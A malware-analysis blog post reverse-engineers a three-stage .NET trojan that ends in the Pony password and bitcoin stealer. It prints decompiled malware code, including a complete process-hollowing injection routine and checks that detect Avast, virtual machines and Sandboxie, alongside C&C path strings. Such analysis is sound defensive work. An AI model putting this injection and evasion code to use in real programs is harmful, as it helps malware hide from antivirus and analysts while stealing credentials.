3 stage dot net Trojan

Howdy fellow readers. My time is split between video games, code, and work. I have a number of interesting samples I’ve seen that I’ve decided to share with you all.

This is a 3+ stage malware. Each stage meaning its own executable (think inception, but with exes). This isn’t all that uncommon with malware. Typically the file you first download isn’t always the main exe. The “dropper” will determine your sys info and download the second stage, or the second stage will be hidden away encrypted to hide from AV’s and heuristics.

The file

SHA256: 8e3602a83178039c076b74cc38d8fdf502b1a1a1a3c312b5a0700c682524ae8d
File name: manptca.exe
Detection ratio: 35 / 57
Analysis date: 2015-09-16 21:18:29 UTC ( 1 week, 1 day ago )

First thing I do is load the guy up with CFF Explorer and explore…
p1

Sample is .net, but I already knew that. The version is 2.0 (version string in the Metadata header).

Since it’s a .NET binary, we can load the sample into ilspy, or reflector, or some sort of decompiler.

p2-2

As we can see, the sample is obfuscated. I also see a bitmap stored as a resource named ‘jucausa’. More on that image later and how it relates to our stage 3.

Easiest way to defeat most obfuscation is a little utility called . Just compile, drag, and drop.

p3

As you can see, de4dot identified the obfuscator and automatically changed everything back to normal. Nice eh? Now let’s look at the binary again in ilspy (Reflector is a piece of shit sometimes).

p4

The sample has been deobfuscated, but is still a mess. What can we do? Enter MegaDumper. Russians make the best tools. So how does this work? Well, MegaDumper allows us to dump .net binaries straight from memory. All we have to do is run the exe, suspend its main thread, then dump away.

It’s easier to just record how its done here:

Now we have our decrypted content.
p5

The ‘manptca.exe’ file is our original file. The other 2 files are loaded by the original binary. Let’s peek at each.

‘snoop.exe’ seems to be obfuscated, however a quick run through De4dot shows us what it is.

Opening the thing up with ilspy, we see a number of dynamically constructed strings.
p7
This is one reason why being a coder helps with reversing – having the compiler by your side is a life saver.
p8

Just reviewing the code, this looks to be a helper exe, in that it ‘helps’ the main exe maintain persistence (add exe to registry startup path). Not very interesting.
1333091162618

‘mydllclass’ is much more interesting.

The sample contains our process hollowing methods and injection criteria, some interesting decryption, and our final stage 3 product.

The following is some code I pulled from the mydllclass module. It should look familiar. For those who don’t know, its process hollowing code.

internal static bool HandleRun(string path, string cmd, byte[] data, bool compatible)
{
  NewRP.ProcessId = -1;
  int readWrite = 0;
  NewRP.STARTUP_INFORMATION sI = default(NewRP.STARTUP_INFORMATION);
  NewRP.PROCESS_INFORMATION pROCESS_INFORMATION = default(NewRP.PROCESS_INFORMATION);
  sI.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(NewRP.STARTUP_INFORMATION)));
  try
  {
  	string text = string.Format("\"{0}\"", path);
  	if (!string.IsNullOrEmpty(cmd))
  	{
  		text = text + " " + cmd;
  	}
  	pROCESS_INFORMATION = Fixes.ProcessInformation(path, text, sI, pROCESS_INFORMATION);
  	int num = BitConverter.ToInt32(data, 60);
  	int num2 = BitConverter.ToInt32(data, num + 52);
  	int[] array = new int[179];
  	array[0] = 65538;
  	Pack.GetValue(pROCESS_INFORMATION, array);
  	int num3 = array[41];
  	Pack.GetValueA(pROCESS_INFORMATION, num3, 0, readWrite, num2);
  	int length = BitConverter.ToInt32(data, num + 80);
  	int bufferSize = BitConverter.ToInt32(data, num + 84);
  	bool flag = false;
  	int num4 = NewRP.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, num2, length, 12288, 64);
  	if (!compatible && num4 == 0)
  	{
  		flag = true;
  		num4 = NewRP.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, 0, length, 12288, 64);
  	}
  	if (num4 == 0)
  	{
  		throw new Exception();
  	}
  	if (!NewRP.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4, data, bufferSize, out readWrite))
  	{
  		throw new Exception();
  	}
  	int num5 = num + 248;
  	short num6 = BitConverter.ToInt16(data, num + 6);
  	for (int i = 0; i <= (int)(num6 - 1); i++)
  	{
  		int num7 = BitConverter.ToInt32(data, num5 + 12);
  		int num8 = BitConverter.ToInt32(data, num5 + 16);
  		int srcOffset = BitConverter.ToInt32(data, num5 + 20);
  		if (num8 != 0)
  		{
    byte[] array2 = new byte[num8];
    Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length);
    NewRP.WWriteProcessMemory arg_1A3_0 = NewRP.WriteProcessMemory;
    IntPtr arg_1A3_1 = pROCESS_INFORMATION.ProcessHandle;
    int arg_1A3_2 = num4 + num7;
    byte[] expr_19E = array2;
    if (!arg_1A3_0(arg_1A3_1, arg_1A3_2, expr_19E, expr_19E.Length, out readWrite))
    {
    	throw new Exception();
    }
  		}
  		num5 += 40;
  	}
  	byte[] bytes = Fixes.GetBytes(num4);
  	if (!NewRP.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num3 + 8, bytes, 4, out readWrite))
  	{
  		throw new Exception();
  	}
  	NewRP.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num3 + 8, bytes, 4, out readWrite);
  	int num9 = Class1.ToInt32(data, num);
  	if (flag)
  	{
  		num4 = num2;
  	}
  	array[44] = num4 + num9;
  	Fixes.GetValueB(pROCESS_INFORMATION, array);
  	if ((ulong)NewRP.ResumeThread(pROCESS_INFORMATION.ThreadHandle) == 18446744073709551615uL)
  	{
  		throw new Exception();
  	}
  }
  catch
  {
  	Process expr_251 = Class1.GetProcessById(pROCESS_INFORMATION);
  	if (expr_251 != null)
  	{
  		expr_251.Kill();
  	}
  	return false;
  }
  NewRP.ProcessId = (int)pROCESS_INFORMATION.ProcessId;
  return true;
}

How is this used / implemented? Remember the bitmap from earlier in the resources section? This data file is decrypted in stage 2 and ran for stage 3 via process hollowing.

p10

There’s a lot of code to this sample, but it’s fairly straight forward. The bitmap image is read from the resources directory, converted to a byte array, the stream is them decompressed, then decrypted.
p9

While we *could* copy and paste this into a project of our own to decrypt the mystery bitmap image, its much easier to extract after the process hollowing operation is performed.

Other interesting tidbits include code that checks for the presence of Avast anti-virus:

public static void avast()
{
	try
	{
	IntPtr moduleHandle = flfvdNHm.GetModuleHandle("snxhk.dll");
	while (moduleHandle != IntPtr.Zero)
     {
       moduleHandle = flfvdNHm.GetModuleHandle("snxhk.dll");
	   Thread.Sleep(1000);
     }
	}
	catch
	{
	}
}

And then there’s these two methods which handle Virtual Machine and Sandboxie detection:

private static bool VMRunning()
{
	List<string> list = new List<string>();
	using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("SELECT Description FROM Win32_VideoController").Get().GetEnumerator())
{
	while (enumerator.MoveNext())
	{
		ManagementObject managementObject = (ManagementObject)enumerator.Current;
		if (managementObject["Description"] != null)
		{
	list.Add(Convert.ToString(managementObject["Description"]).Trim().ToLower());
		}
	}
}
	return list.Contains("virtualbox graphics adapter") || list.Contains("vmware svga ii") || list.Contains("vm additions s3 trio32/64");
		}

private static bool antiSandie()
{
	Process[] processes = Process.GetProcesses();
	for (int i = 0; i < processes.Length; i++)
	{
	Process process = processes[i];
	string a = process.ProcessName.ToLower();
		if (a == "sandboxierpcss" && Process.GetCurrentProcess().SessionId == process.SessionId)
		{
		ProjectData.EndApp();
		}
	}
	return false;
}

This code doesn’t really work on my VMware instance though, making it worthless. Then again, who the hell checks for JUST Avast?
1423877419611

So how do we get at this new file? Easily. Remember the in the video how I killed ‘Regasm.exe’? That’s where the data is injected. A simple matter of dumping the exe while its running will reveal our final payload. To save time again, here’s another video.

So what is this weird pony icon exe?
Loading the sample up with IDA and looking at the strings is a good start.
p11

Googling around for the strings ‘moni/panel/Pony.exe’ and ‘moni/panel/gate.php’ proved fruitful. The malware is called ‘pony’ (of course) so I wasn’t too far off in my assumptions. According to this the 3rd stage is a password stealer.

Continuing to look at strings confirms this. Who knew there were so many kinds of bitcoins?
p13

And there you have it, all 3 stages of execution, the C&C, the injection method, and the target (passwords & bitcoins).

Join me again soon when I cover the basics of reversing exploits in PDF and Word documents.

Until then, happy hacking!

1209918058568

7 thoughts on “3 stage dot net Trojan
  1. hello how can i contact with you. i received a very similar example maybe you can check it and write one article about this?

  2. can you dump the source of one dll i tried to check the code with decompilers but the code is very bad the only is like you said dumping in memory but i tried with megadumper but the process close so fast

    1. If it quickly closes with Megadumper, you might try hooking ExitThread or ExitProcess so that it cannot exit immediately.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.